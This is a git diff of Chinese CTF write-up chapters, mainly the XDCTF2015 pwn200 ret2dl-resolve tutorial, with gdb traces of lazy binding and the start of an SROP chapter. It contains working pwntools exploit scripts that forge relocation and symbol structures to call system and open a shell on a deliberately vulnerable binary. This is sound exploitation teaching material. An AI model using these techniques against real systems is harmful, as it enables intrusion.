[漏洞利用](#漏洞利用) - [参考资料](#参考资料) - [下载文件](../src/writeup/6.1.3_pwn_xdctf2015_pwn200) ## 题目复现 + 出题人在博客里贴出了源码,如下: + ```C #include #include @@ -31,30 +32,39 @@ int main() return 0; } ``` + 使用下面的语句编译: -``` + +```text $ gcc -m32 -fno-stack-protector -no-pie -s pwn200.c ``` + checksec 如下: -``` -$ checksec -f a.out + +```text +$ checksec -f a.out RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH No 0 1 a.out ``` + 在开启 ASLR 的情况下把程序运行起来: -``` + +```text $ socat tcp4-listen:10001,reuseaddr,fork exec:./a.out & ``` + 这题提供了二进制文件而没有提供 libc.so,而且也默认找不到,在章节 4.8 中我们提供了一种解法,这里我们讲解另一种。 - ## ret2dl-resolve 原理及题目解析 + 这种利用的技术是在 2015 年的论文 “How the ELF Ruined Christmas” 中提出的,论文地址在参考资料中。ret2dl-resolve 不需要信息泄露,而是通过动态装载器来直接标识关键函数的位置并调用它们。它可以绕过多种安全缓解措施,包括专门为保护 ELF 数据结构不被破坏而设计的 RELRO。而在 ctf 中,我们也能看到它的身影,通常用于对付无法获得目标系统 libc.so 的情况。 -#### 延迟绑定 +### 延迟绑定 + 关于动态链接我们在章节 1.5.6 中已经讲过了,这里就重点讲一下动态解析的过程。我们知道,在动态链接中,如果程序没有开启 Full RELRO 保护,则存在延迟绑定的过程,即库函数在第一次被调用时才将函数的真正地址填入 GOT 表以完成绑定。 一个动态链接程序的程序头表中会包含类型为 `PT_DYNAMIC` 的段,它包含了 `.dynamic` 段,结构如下: + ```C typedef struct { @@ -76,9 +86,11 @@ typedef struct } d_un; } Elf64_Dyn; ``` + 一个 `Elf_Dyn` 是一个键值对,其中 `d_tag` 是键,`d_value` 是值。其中有个例外的条目是 `DT_DEBUG`,它保存了动态装载器内部数据结构的指针。 段表结构如下: + ```C typedef struct { @@ -110,21 +122,22 @@ typedef struct ``` 具体来看,首先在 write@plt 地址处下断点,然后运行: -``` + +```text gdb-peda$ p write $1 = {} 0x8048430 gdb-peda$ b *0x8048430 Breakpoint 1 at 0x8048430 gdb-peda$ r -Starting program: /home/firmy/Desktop/RE4B/200/a.out +Starting program: /home/firmy/Desktop/RE4B/200/a.out [----------------------------------registers-----------------------------------] EAX: 0xffffd5bc ("Welcome to XDCTF2015~!\n") -EBX: 0x804a000 --> 0x8049f04 --> 0x1 -ECX: 0x2a8c -EDX: 0x3 -ESI: 0xf7f8ee28 --> 0x1d1d30 -EDI: 0xffffd620 --> 0x1 -EBP: 0xffffd638 --> 0x0 +EBX: 0x804a000 --> 0x8049f04 --> 0x1 +ECX: 0x2a8c +EDX: 0x3 +ESI: 0xf7f8ee28 --> 0x1d1d30 +EDI: 0xffffd620 --> 0x1 +EBP: 0xffffd638 --> 0x0 ESP: 0xffffd59c --> 0x804861b (add esp,0x10) EIP: 0x8048430 (: jmp DWORD PTR ds:0x804a01c) EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow) @@ -144,12 +157,12 @@ EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow) JUMP is taken [------------------------------------stack-------------------------------------] 0000| 0xffffd59c --> 0x804861b (add esp,0x10) -0004| 0xffffd5a0 --> 0x1 +0004| 0xffffd5a0 --> 0x1 0008| 0xffffd5a4 --> 0xffffd5bc ("Welcome to XDCTF2015~!\n") -0012| 0xffffd5a8 --> 0x17 +0012| 0xffffd5a8 --> 0x17 0016| 0xffffd5ac --> 0x80485a4 (add ebx,0x1a5c) -0020| 0xffffd5b0 --> 0xffffd5ea --> 0x0 -0024| 0xffffd5b4 --> 0xf7ffca64 --> 0x6 +0020| 0xffffd5b0 --> 0xffffd5ea --> 0x0 +0024| 0xffffd5b4 --> 0xf7ffca64 --> 0x6 0028| 0xffffd5b8 --> 0xf7ffca68 --> 0x3c ('<') [------------------------------------------------------------------------------] Legend: code, data, rodata, value @@ -158,19 +171,21 @@ Breakpoint 1, 0x08048430 in write@plt () gdb-peda$ x/w 0x804a01c 0x804a01c: 0x08048436 ``` + 由于是第一次运行,尚未进行绑定,`0x804a01c` 地址处保存的是 write@plt+6 的地址 `0x8048436`,即跳转到下一条指令。 将 `0x20` 压入栈中,这个数字是导入函数的标识,即一个 ELF_Rel 在 `.rel.plt` 中的偏移: -``` + +```text gdb-peda$ n [----------------------------------registers-----------------------------------] EAX: 0xffffd5bc ("Welcome to XDCTF2015~!\n") -EBX: 0x804a000 --> 0x8049f04 --> 0x1 -ECX: 0x2a8c -EDX: 0x3 -ESI: 0xf7f8ee28 --> 0x1d1d30 -EDI: 0xffffd620 --> 0x1 -EBP: 0xffffd638 --> 0x0 +EBX: 0x804a000 --> 0x8049f04 --> 0x1 +ECX: 0x2a8c +EDX: 0x3 +ESI: 0xf7f8ee28 --> 0x1d1d30 +EDI: 0xffffd620 --> 0x1 +EBP: 0xffffd638 --> 0x0 ESP: 0xffffd59c --> 0x804861b (add esp,0x10) EIP: 0x8048436 (: push 0x20) EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow) @@ -185,12 +200,12 @@ EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow) 0x8048448: add BYTE PTR [eax],al [------------------------------------stack-------------------------------------] 0000| 0xffffd59c --> 0x804861b (add esp,0x10) -0004| 0xffffd5a0 --> 0x1 +0004| 0xffffd5a0 --> 0x1 0008| 0xffffd5a4 --> 0xffffd5bc ("Welcome to XDCTF2015~!\n") -0012| 0xffffd5a8 --> 0x17 +0012| 0xffffd5a8 --> 0x17 0016| 0xffffd5ac --> 0x80485a4 (add ebx,0x1a5c) -0020| 0xffffd5b0 --> 0xffffd5ea --> 0x0 -0024| 0xffffd5b4 --> 0xf7ffca64 --> 0x6 +0020| 0xffffd5b0 --> 0xffffd5ea --> 0x0 +0024| 0xffffd5b4 --> 0xf7ffca64 --> 0x6 0028| 0xffffd5b8 --> 0xf7ffca68 --> 0x3c ('<') [------------------------------------------------------------------------------] Legend: code, data, rodata, value @@ -198,16 +213,17 @@ Legend: code, data, rodata, value ``` 然后跳转到 `0x80483e0`,该地址是 `.plt` 段的开头,即 PLT[0]: -``` + +```text gdb-peda$ n [----------------------------------registers-----------------------------------] EAX: 0xffffd5bc ("Welcome to XDCTF2015~!\n") -EBX: 0x804a000 --> 0x8049f04 --> 0x1 -ECX: 0x2a8c -EDX: 0x3 -ESI: 0xf7f8ee28 --> 0x1d1d30 -EDI: 0xffffd620 --> 0x1 -EBP: 0xffffd638 --> 0x0 +EBX: 0x804a000 --> 0x8049f04 --> 0x1 +ECX: 0x2a8c +EDX: 0x3 +ESI: 0xf7f8ee28 --> 0x1d1d30 +EDI: 0xffffd620 --> 0x1 +EBP: 0xffffd638 --> 0x0 ESP: 0xffffd598 --> 0x20 (' ') EIP: 0x804843b (: jmp 0x80483e0) EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow) @@ -228,32 +244,34 @@ EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow) [------------------------------------stack-------------------------------------] 0000| 0xffffd598 --> 0x20 (' ') 0004| 0xffffd59c --> 0x804861b (add esp,0x10) -0008| 0xffffd5a0 --> 0x1 +0008| 0xffffd5a0 --> 0x1 0012| 0xffffd5a4 --> 0xffffd5bc ("Welcome to XDCTF2015~!\n") -0016| 0xffffd5a8 --> 0x17 +0016| 0xffffd5a8 --> 0x17 0020| 0xffffd5ac --> 0x80485a4 (add ebx,0x1a5c) -0024| 0xffffd5b0 --> 0xffffd5ea --> 0x0 -0028| 0xffffd5b4 --> 0xf7ffca64 --> 0x6 +0024| 0xffffd5b0 --> 0xffffd5ea --> 0x0 +0028| 0xffffd5b4 --> 0xf7ffca64 --> 0x6 [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0x0804843b in write@plt () ``` -``` + +```text $ readelf -S a.out | grep 80483e0 [12] .plt PROGBITS 080483e0 0003e0 000060 04 AX 0 0 16 ``` 接下来就进入 PLT[0] 处的代码: -``` + +```text gdb-peda$ n [----------------------------------registers-----------------------------------] EAX: 0xffffd5bc ("Welcome to XDCTF2015~!\n") -EBX: 0x804a000 --> 0x8049f04 --> 0x1 -ECX: 0x2a8c -EDX: 0x3 -ESI: 0xf7f8ee28 --> 0x1d1d30 -EDI: 0xffffd620 --> 0x1 -EBP: 0xffffd638 --> 0x0 +EBX: 0x804a000 --> 0x8049f04 --> 0x1 +ECX: 0x2a8c +EDX: 0x3 +ESI: 0xf7f8ee28 --> 0x1d1d30 +EDI: 0xffffd620 --> 0x1 +EBP: 0xffffd638 --> 0x0 ESP: 0xffffd598 --> 0x20 (' ') EIP: 0x80483e0 (push DWORD PTR ds:0x804a004) EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow) @@ -265,12 +283,12 @@ EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow) [------------------------------------stack-------------------------------------] 0000| 0xffffd598 --> 0x20 (' ') 0004| 0xffffd59c --> 0x804861b (add esp,0x10) -0008| 0xffffd5a0 --> 0x1 +0008| 0xffffd5a0 --> 0x1 0012| 0xffffd5a4 --> 0xffffd5bc ("Welcome to XDCTF2015~!\n") -0016| 0xffffd5a8 --> 0x17 +0016| 0xffffd5a8 --> 0x17 0020| 0xffffd5ac --> 0x80485a4 (add ebx,0x1a5c) -0024| 0xffffd5b0 --> 0xffffd5ea --> 0x0 -0028| 0xffffd5b4 --> 0xf7ffca64 --> 0x6 +0024| 0xffffd5b0 --> 0xffffd5ea --> 0x0 +0028| 0xffffd5b4 --> 0xf7ffca64 --> 0x6 [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0x080483e0 in ?? () @@ -279,23 +297,25 @@ gdb-peda$ x/w 0x804a004 gdb-peda$ x/w 0x804a008 0x804a008: 0xf7fec370 ``` -``` + +```text $ readelf -S a.out | grep .got.plt [23] .got.plt PROGBITS 0804a000 001000 000020 04 WA 0 0 4 ``` + 看一下 `.got.plt` 段,所以 `0x804a004` 和 `0x804a008` 分别是 GOT[1] 和 GOT[2]。继续调试: -``` +```text gdb-peda$ n [----------------------------------registers-----------------------------------] EAX: 0xffffd5bc ("Welcome to XDCTF2015~!\n") -EBX: 0x804a000 --> 0x8049f04 --> 0x1 -ECX: 0x2a8c -EDX: 0x3 -ESI: 0xf7f8ee28 --> 0x1d1d30 -EDI: 0xffffd620 --> 0x1 -EBP: 0xffffd638 --> 0x0 -ESP: 0xffffd594 --> 0xf7ffd900 --> 0x0 +EBX: 0x804a000 --> 0x8049f04 --> 0x1 +ECX: 0x2a8c +EDX: 0x3 +ESI: 0xf7f8ee28 --> 0x1d1d30 +EDI: 0xffffd620 --> 0x1 +EBP: 0xffffd638 --> 0x0 +ESP: 0xffffd594 --> 0xf7ffd900 --> 0x0 EIP: 0x80483e6 (jmp DWORD PTR ds:0x804a008) EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] @@ -313,19 +333,21 @@ EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow) 0xf7fec373 <_dl_runtime_resolve+3>: mov edx,DWORD PTR [esp+0x10] JUMP is taken [------------------------------------stack-------------------------------------] -0000| 0xffffd594 --> 0xf7ffd900 --> 0x0 +0000| 0xffffd594 --> 0xf7ffd900 --> 0x0 0004| 0xffffd598 --> 0x20 (' ') 0008| 0xffffd59c --> 0x804861b (add esp,0x10) -0012| 0xffffd5a0 --> 0x1 +0012| 0xffffd5a0 --> 0x1 0016| 0xffffd5a4 --> 0xffffd5bc ("Welcome to XDCTF2015~!\n") -0020| 0xffffd5a8 --> 0x17 +0020| 0xffffd5a8 --> 0x17 0024| 0xffffd5ac --> 0x80485a4 (add ebx,0x1a5c) -0028| 0xffffd5b0 --> 0xffffd5ea --> 0x0 +0028| 0xffffd5b0 --> 0xffffd5ea --> 0x0 [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0x080483e6 in ?? () ``` + PLT[0] 处的代码将 GOT[1] 的值压入栈中,然后跳转到 GOT[2]。这两个 GOT 表条目有着特殊的含义,动态链接器在开始时给它们填充了特殊的内容: + - GOT[1]:一个指向内部数据结构的指针,类型是 link_map,在动态装载器内部使用,包含了进行符号解析需要的当前 ELF 对象的信息。在它的 `l_info` 域中保存了 `.dynamic` 段中大多数条目的指针构成的一个数组,我们后面会利用它。 - GOT[2]:一个指向动态装载器中 `_dl_runtime_resolve` 函数的指针。 @@ -333,9 +355,10 @@ PLT[0] 处的代码将 GOT[1] 的值压入栈中,然后跳转到 GOT[2]。这 `_dl-runtime-resolve` 的过程如下图所示: -![](../pic/6.1.3_dl-resolve.png) +![img](../pic/6.1.3_dl-resolve.png) 重定位项使用 Elf_Rel 结构体来描述,存在于 `.rep.plt` 段和 `.rel.dyn` 段中: + ```C typedef uint32_t Elf32_Addr; typedef uint32_t Elf32_Word; @@ -351,15 +374,17 @@ typedef uint64_t Elf64_Xword; typedef int64_t Elf64_Sxword; typedef struct -{ +{ Elf64_Addr r_offset; /* Address */ Elf64_Xword r_info; /* Relocation type and symbol index */ Elf64_Sxword r_addend; /* Addend */ } Elf64_Rela; ``` + 32 位程序使用 REL,而 64 位程序使用 RELA。 下面的宏描述了 r_info 是怎样被解析和插入的: + ```C /* How to extract and insert information held in the r_info field. */ @@ -371,12 +396,15 @@ typedef struct #define ELF64_R_TYPE(i) ((i) & 0xffffffff) #define ELF64_R_INFO(sym,type) ((((Elf64_Xword) (sym)) << 32) + (type)) ``` + 举个例子: -``` + +```c ELF32_R_SYM(Elf32_Rel->r_info) = (Elf32_Rel->r_info) >> 8 ``` 每个符号使用 Elf_Sym 结构体来描述,存在于 `.dynsym` 段和 `.symtab` 段中,而 `.symtab` 在 strip 之后会被删掉: + ```C typedef struct { @@ -398,7 +426,9 @@ typedef struct Elf64_Xword st_size; /* Symbol size */ } Elf64_Sym; ``` + 下面的宏描述了 st_info 是怎样被解析和插入的: + ```C /* How to extract and insert information held in the st_info field. */ @@ -413,10 +443,12 @@ typedef struct ``` 所以 PLT[0] 其实就是调用的以下函数: -``` + +```c _dl_runtime_resolve(link_map_obj, reloc_index) ``` -``` + +```text gdb-peda$ disassemble 0xf7fec370 Dump of assembler code for function _dl_runtime_resolve: 0xf7fec370 <+0>: push eax @@ -432,27 +464,31 @@ Dump of assembler code for function _dl_runtime_resolve: 0xf7fec38b <+27>: ret 0xc End of assembler dump. ``` + 该函数在 `glibc/sysdeps/i386/dl-trampoline.S` 中用汇编实现,先保存寄存器,然后将两个值分别传入寄存器,调用 `_dl_fixup`,最后恢复寄存器: -``` + +```text gdb-peda$ x/w $esp+0x10 0xffffd598: 0x00000020 gdb-peda$ x/w $esp+0xc 0xffffd594: 0xf7ffd900 ``` + 还记得这两个值吗,一个是在 `: push 0x20` 中压入的偏移量,一个是 PLT[0] 中 `push DWORD PTR ds:0x804a004` 压入的 GOT[1]。 函数 `_dl_fixup(struct link_map *l, ElfW(Word) reloc_arg)`,其参数分别由寄存器 `eax` 和 `edx` 提供。继续调试: -``` + +```text gdb-peda$ n [----------------------------------registers-----------------------------------] -EAX: 0xf7ffd900 --> 0x0 -EBX: 0x804a000 --> 0x8049f04 --> 0x1 -ECX: 0x2a8c +EAX: 0xf7ffd900 --> 0x0 +EBX: 0x804a000 --> 0x8049f04 --> 0x1 +ECX: 0x2a8c EDX: 0x20 (' ') -ESI: 0xf7f8ee28 --> 0x1d1d30 -EDI: 0xffffd620 --> 0x1 -EBP: 0xffffd638 --> 0x0 -ESP: 0xffffd588 --> 0x3 +ESI: 0xf7f8ee28 --> 0x1d1d30 +EDI: 0xffffd620 --> 0x1 +EBP: 0xffffd638 --> 0x0 +ESP: 0xffffd588 --> 0x3 EIP: 0xf7fec37b (<_dl_runtime_resolve+11>: call 0xf7fe6080 <_dl_fixup>) EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] @@ -465,17 +501,17 @@ EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow) 0xf7fec384 <_dl_runtime_resolve+20>: mov DWORD PTR [esp],eax 0xf7fec387 <_dl_runtime_resolve+23>: mov eax,DWORD PTR [esp+0x4] Guessed arguments: -arg[0]: 0x3 -arg[1]: 0x2a8c +arg[0]: 0x3 +arg[1]: 0x2a8c arg[2]: 0xffffd5bc ("Welcome to XDCTF2015~!\n") [------------------------------------stack-------------------------------------] -0000| 0xffffd588 --> 0x3 -0004| 0xffffd58c --> 0x2a8c +0000| 0xffffd588 --> 0x3 +0004| 0xffffd58c --> 0x2a8c 0008| 0xffffd590 --> 0xffffd5bc ("Welcome to XDCTF2015~!\n") -0012| 0xffffd594 --> 0xf7ffd900 --> 0x0 +0012| 0xffffd594 --> 0xf7ffd900 --> 0x0 0016| 0xffffd598 --> 0x20 (' ') 0020| 0xffffd59c --> 0x804861b (add esp,0x10) -0024| 0xffffd5a0 --> 0x1 +0024| 0xffffd5a0 --> 0x1 0028| 0xffffd5a4 --> 0xffffd5bc ("Welcome to XDCTF2015~!\n") [------------------------------------------------------------------------------] Legend: code, data, rodata, value @@ -483,12 +519,12 @@ Legend: code, data, rodata, value gdb-peda$ s [----------------------------------registers-----------------------------------] EAX: 0xffffd5bc ("Welcome to XDCTF2015~!\n") -EBX: 0x804a000 --> 0x8049f04 --> 0x1 -ECX: 0x2a8c -EDX: 0x3 -ESI: 0xf7f8ee28 --> 0x1d1d30 -EDI: 0xffffd620 --> 0x1 -EBP: 0xffffd638 --> 0x0 +EBX: 0x804a000 --> 0x8049f04 --> 0x1 +ECX: 0x2a8c +EDX: 0x3 +ESI: 0xf7f8ee28 --> 0x1d1d30 +EDI: 0xffffd620 --> 0x1 +EBP: 0xffffd638 --> 0x0 ESP: 0xffffd59c --> 0x804861b (add esp,0x10) EIP: 0xf7ea3100 (: push esi) EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow) @@ -503,19 +539,21 @@ EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow) 0xf7ea3109 : mov ecx,DWORD PTR [esp+0x24] [------------------------------------stack-------------------------------------] 0000| 0xffffd59c --> 0x804861b (add esp,0x10) -0004| 0xffffd5a0 --> 0x1 +0004| 0xffffd5a0 --> 0x1 0008| 0xffffd5a4 --> 0xffffd5bc ("Welcome to XDCTF2015~!\n") -0012| 0xffffd5a8 --> 0x17 +0012| 0xffffd5a8 --> 0x17 0016| 0xffffd5ac --> 0x80485a4 (add ebx,0x1a5c) -0020| 0xffffd5b0 --> 0xffffd5ea --> 0x0 -0024| 0xffffd5b4 --> 0xf7ffca64 --> 0x6 +0020| 0xffffd5b0 --> 0xffffd5ea --> 0x0 +0024| 0xffffd5b4 --> 0xf7ffca64 --> 0x6 0028| 0xffffd5b8 --> 0xf7ffca68 --> 0x3c ('<') [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0xf7ea3100 in write () from /usr/lib32/libc.so.6 ``` + 即使我们使用单步进入,也不能调试 `_dl_fixup`,它直接就执行完成并跳转到 write 函数了,而此时,GOT 的地址已经被覆盖为实际地址: -``` + +```text gdb-peda$ x/w 0x804a01c 0x804a01c: 0xf7ea3100 ``` @@ -523,6 +561,7 @@ gdb-peda$ x/w 0x804a01c 再强调一遍:fixup 是通过寄存器取参数的,这似乎违背了 32 位程序的调用约定,但它就是这样,上面 gdb 中显示的参数是错误的,该函数对程序员来说是透明的,所以会尽量少用栈去做操作。 既然不能调试,直接看代码吧,在 `glibc/elf/dl-runtime.c` 中: + ```C DL_FIXUP_VALUE_TYPE attribute_hidden __attribute ((noinline)) ARCH_FIXUP_ATTRIBUTE @@ -625,28 +664,32 @@ _dl_fixup ( } ``` -#### 攻击 +### 攻击 + 关于延迟绑定的攻击,在于强迫动态装载器解析请求的函数。 -![](../pic/6.1.3_attack.png) +![img](../pic/6.1.3_attack.png) - 图a中,因为动态转载器是从 `.dynamic` 段的 `DT_STRTAB` 条目中获得 `.dynstr` 段的地址的,而 `DT_STRTAB` 条目的位置已知,默认情况下也可写。所以攻击者能够改写 `DT_STRTAB` 条目的内容,欺骗动态装载器,让它以为 `.dynstr` 段在 `.bss` 段中,并在那里伪造一个假的字符串表。当它尝试解析 printf 时会使用不同的基地址来寻找函数名,最终执行的是 execve。这种方式非常简单,但仅当二进制程序的 `.dynamic` 段可写时有效。 - 图b中,我们已经知道 `_dl_runtime_resolve` 的第二个参数是 Elf_Rel 条目在 `.rel.plt` 段中的偏移,动态装载器将这个值加上 `.rel.plt` 的基址来得到目标结构体的绝对位置。然后当传递给 `_dl_runtime_resolve` 的参数 `reloc_index` 超出了 `.rel.plt` 段,并最终落在 `.bss` 段中时,攻击者可以在该位置伪造了一个 `Elf_Rel` 结构,并填写 `r_offset` 的值为一个可写的内存地址来将解析后的函数地址写在那里,同理 `r_info` 也会是一个将动态装载器导向到攻击者控制内存的下标。这个下标就指向一个位于它后面的 `Elf_Sym` 结构,而 `Elf_Sym` 结构中的 `st_name` 同样超出了 `.dynsym` 段。这样这个符号就会包含一个相对于 `.dynstr` 地址足够大的偏移使其能够达到这个符号之后的一段内存,而那段内存里保存着这个将要调用的函数的名称。 还记得我们前面说过的 GOT[1],它是一个 link_map 类型的指针,其 `l_info` 域中有一个包含 `.dynmic` 段中所有条目构成的数组。动态链接器就是利用这些指针来定位符号解析过程中使用的对象的。通过覆盖这个 link\_map 的一部分,就能够将 `l_info` 域中的 `DT_STRTAB` 条目指向一个特意制造的动态条目,那里则指向一个假的动态字符串表。 -![](../pic/6.1.3_link_map.png) +![img](../pic/6.1.3_link_map.png) + +### pwn200 -#### pwn200 获得了 re2dl-resolve 所需的所有知识,下面我们来分析题目。 首先触发栈溢出漏洞,偏移为 112: -``` + +```text gdb-peda$ pattern_offset 0x41384141 1094205761 found at offset: 112 ``` 根据理论知识及对二进制文件的分析,我们需要一个 read 函数用于读入后续的 payload 和伪造的各种表,一个 write 函数用于验证每一步的正确性,最后将 write 换成 system,就能得到 shell 了。 + ```python from pwn import * @@ -672,9 +715,11 @@ bss_addr = elf.get_section_by_name('.bss').header.sh_addr # 0x804a028 base_addr = bss_addr + 0x600 # 0x804a628 ``` + 分别获取伪造各种表所需要的段地址,将 bss 段的地址加上 0x600 作为伪造数据的基地址,这里可能需要根据实际情况稍加修改。gadget pppr 用于平衡栈, pop ebp 和 leave ret 配合,以达到将 esp 指向 base_addr 的目的(在章节3.3.4中有讲到)。 第一部分的 payload 如下所示,首先从标准输入读取 100 字节到 base_addr,将 esp 指向它,并跳转过去,执行 base\_addr 处的 payload: + ```python payload_1 = "A" * 112 payload_1 += p32(read_plt) @@ -690,6 +735,7 @@ io.send(payload_1) ``` 从这里开始,后面的 paylaod 都是通过 read 函数读入的,所以必须为 100 字节长。首先,调用 write@plt 函数打印出与 base_addr 偏移 80 字节处的字符串 "/bin/sh",以验证栈转移成功。注意由于 `.dynstr` 中的字符串都是以 `\x00` 结尾的,所以伪造字符串为 `bin/sh\x00`。 + ```python payload_2 = "AAAA" # new ebp payload_2 += p32(write_plt) @@ -706,7 +752,8 @@ print io.recv() ``` 我们知道第一次调用 write@plt 时其实是先将 reloc_index 压入栈,然后跳转到 PLT[0]: -``` + +```text gdb-peda$ disassemble write Dump of assembler code for function write@plt: 0x08048430 <+0>: jmp DWORD PTR ds:0x804a01c @@ -714,7 +761,9 @@ Dump of assembler code for function write@plt: 0x0804843b <+11>: jmp 0x80483e0 End of assembler dump. ``` + 这次我们跳过这个过程,直接控制 `eip` 跳转到 PLT[0],并在栈上布置上 reloc_index,即 `0x20`,就像是调用了 write@plt 一样。 + ```python reloc_index = 0x20 @@ -734,6 +783,7 @@ print io.recv() ``` 接下来,我们更进一步,伪造一个 write 函数的 Elf32_Rel 结构体,原结构体在 `.rel.plt` 中,如下所示: + ```C typedef struct { @@ -741,11 +791,14 @@ typedef struct Elf32_Word r_info; /* Relocation type and symbol index */ } Elf32_Rel; ``` -``` + +```text $ readelf -r a.out | grep write 0804a01c 00000707 R_386_JUMP_SLOT 00000000 write@GLIBC_2.0 ``` + 该结构体的 `r_offset` 是 write@got 地址,即 `0x0804a01c`,`r_info` 是 `0x707`。动态装载器通过 reloc_index 找到它,而 reloc\_index 是相对于 `.rel.plt` 的偏移,所以我们如果控制了这个偏移,就可以跳转到伪造的 write 上。payload 如下: + ```python reloc_index = base_addr + 28 - rel_plt # fake_reloc = base_addr + 28 @@ -767,17 +820,21 @@ payload_4 += "A" * (100 - len(payload_4)) io.sendline(payload_4) print io.recv() ``` + 另外讲一讲 Elf32_Rel 值的计算方法如下,我们下面会得用到: + ```C #define ELF32_R_SYM(val) ((val) >> 8) #define ELF32_R_TYPE(val) ((val) & 0xff) #define ELF32_R_INFO(sym, type) (((sym) << 8) + ((type) & 0xff)) ``` + - `ELF32_R_SYM(0x707) = (0x707 >> 8) = 0x7`,即 `.dynsym` 的第 7 行 - `ELF32_R_TYPE(0x707) = (0x707 & 0xff) = 0x7`,即 `#define R_386_JMP_SLOT 7 /* Create PLT entry */` - `ELF32_R_INFO(0x7, 0x7) = (((0x7 << 8) + ((0x7) & 0xff)) = 0x707`,即 r_info 这一次,伪造位于 `.dynsym` 段的结构体 Elf32_Sym,原结构体如下: + ```C typedef struct { @@ -789,18 +846,23 @@ typedef struct Elf32_Section st_shndx; /* Section index */ } Elf32_Sym; ``` -``` + +```text $ readelf -s a.out | grep write 7: 00000000 0 FUNC GLOBAL DEFAULT UND write@GLIBC_2.0 (2) ``` + 转储 `.dynsym` 段并找到第 7 行: -``` -$ objdump -s -j .dynsym a.out + +```text +$ objdump -s -j .dynsym a.out ... 804823c 4c000000 00000000 00000000 12000000 L............... ... ``` + 其中最重要的是 `st_name` 和 `st_info`,分别为 `0x4c` 和 `0x12`。构造 payload 如下: + ```python reloc_index = base_addr + 28 - rel_plt fake_sym_addr = base_addr + 36 @@ -833,17 +895,21 @@ payload_5 += "A" * (100 - len(payload_5)) io.sendline(payload_5) print io.recv() ``` + 一样地讲一下 st_info 的解析和插入算法: + ```C #define ELF32_ST_BIND(val) (((unsigned char) (val)) >> 4) #define ELF32_ST_TYPE(val) ((val) & 0xf) #define ELF32_ST_INFO(bind, type) (((bind) << 4) + ((type) & 0xf)) ``` + - `ELF32_ST_BIND(0x12) = (((unsigned char) (0x12)) >> 4) = 0x1`,即 `#define STB_GLOBAL 1 /* Global symbol */` - `ELF32_ST_TYPE(0x12) = ((0x12) & 0xf) = 0x2`,即 `#define STT_FUNC 2 /* Symbol is a code object */` - `ELF32_ST_INFO(0x1, 0x2) = (((0x1) << 4) + ((0x2) & 0xf)) = 0x12`,即 st_info 下一步,是将 `st_name` 指向我们伪造的字符串 "write",payload 如下: + ```python reloc_index = base_addr + 28 - rel_plt fake_sym_addr = base_addr + 36 @@ -881,6 +947,7 @@ print io.recv() ``` 最后,只要将 "write" 替换成任何我们希望的函数,并调整参数,就可以了,这里我们换成 "system",拿到 shell: + ```python reloc_index = base_addr + 28 - rel_plt fake_sym_addr = base_addr + 36 @@ -918,8 +985,9 @@ io.interactive() ``` Bingo!!! -``` -$ python2 exp.py + +```text +$ python2 exp.py [*] '/home/firmy/Desktop/a.out' Arch: i386-32-little RELRO: Partial RELRO @@ -933,6 +1001,7 @@ firmy ``` 这题是 32 位程序,在 64 位下会有一些变化,比如说: + - 64 位程序一般情况下使用寄存器传参,但给 `_dl_runtime_resolve` 传参时使用栈 - `_dl_runtime_resolve` 函数的第二个参数 `reloc_index` 由偏移变为了索引。 - `_dl_fixup` 函数中,在伪造 fake_sym 后,可能会造成崩溃,需要将 `link_map+0x1c8` 地址上的值置零 @@ -941,9 +1010,10 @@ firmy 如果觉得手工构造太麻烦,有一个工具 [roputils](https://github.com/inaz2/roputils) 可以简化此过程,感兴趣的同学可以自行尝试。 - ## 漏洞利用 + 完整的 exp 如下: + ```python from pwn import * @@ -1136,7 +1206,7 @@ io.sendline(payload_7) io.interactive() ``` - ## 参考资料 + - [How the ELF Ruined Christmas](https://www.usenix.org/system/files/conference/usenixsecurity15/sec15-paper-di-frederico.pdf) - [Return-to-dl-resolve](http://pwn4.fun/2016/11/09/Return-to-dl-resolve/) diff --git a/doc/6.1.4_pwn_backdoorctf2017_fun_signals.md b/doc/6.1.4_pwn_backdoorctf2017_fun_signals.md index 9275c70..055694a 100644 --- a/doc/6.1.4_pwn_backdoorctf2017_fun_signals.md +++ b/doc/6.1.4_pwn_backdoorctf2017_fun_signals.md @@ -8,19 +8,20 @@ - [BackdoorCTF2017 Fun Signals](#backdoorctf2017-fun-signals) - [参考资料](#参考资料) - - [下载文件](../src/writeup/6.1.4_pwn_backdoorctf2017_fun_signals) +[下载文件](../src/writeup/6.1.4_pwn_backdoorctf2017_fun_signals) ## SROP 原理 -#### Linux 系统调用 + +### Linux 系统调用 + 在开始这一切之前,我想先讲一下 Linux 的系统调用。64 位和 32 位的系统调用表分别在 `/usr/include/asm/unistd_64.h` 和 `/usr/include/asm/unistd_32.h` 中,另外还需要查看 `/usr/include/bits/syscall.h`。 一开始 Linux 是通过 `int 0x80` 中断的方式进入系统调用,它会先进行调用者特权级别的检查,然后进行压栈、跳转等操作,这无疑会浪费许多资源。从 Linux 2.6 开始,就出现了新的系统调用指令 `sysenter`/`sysexit`,前者用于从 Ring3 进入 Ring0,后者用于从 Ring0 返回 Ring3,它没有特权级别检查,也没有压栈的操作,所以执行速度更快。 -#### signal 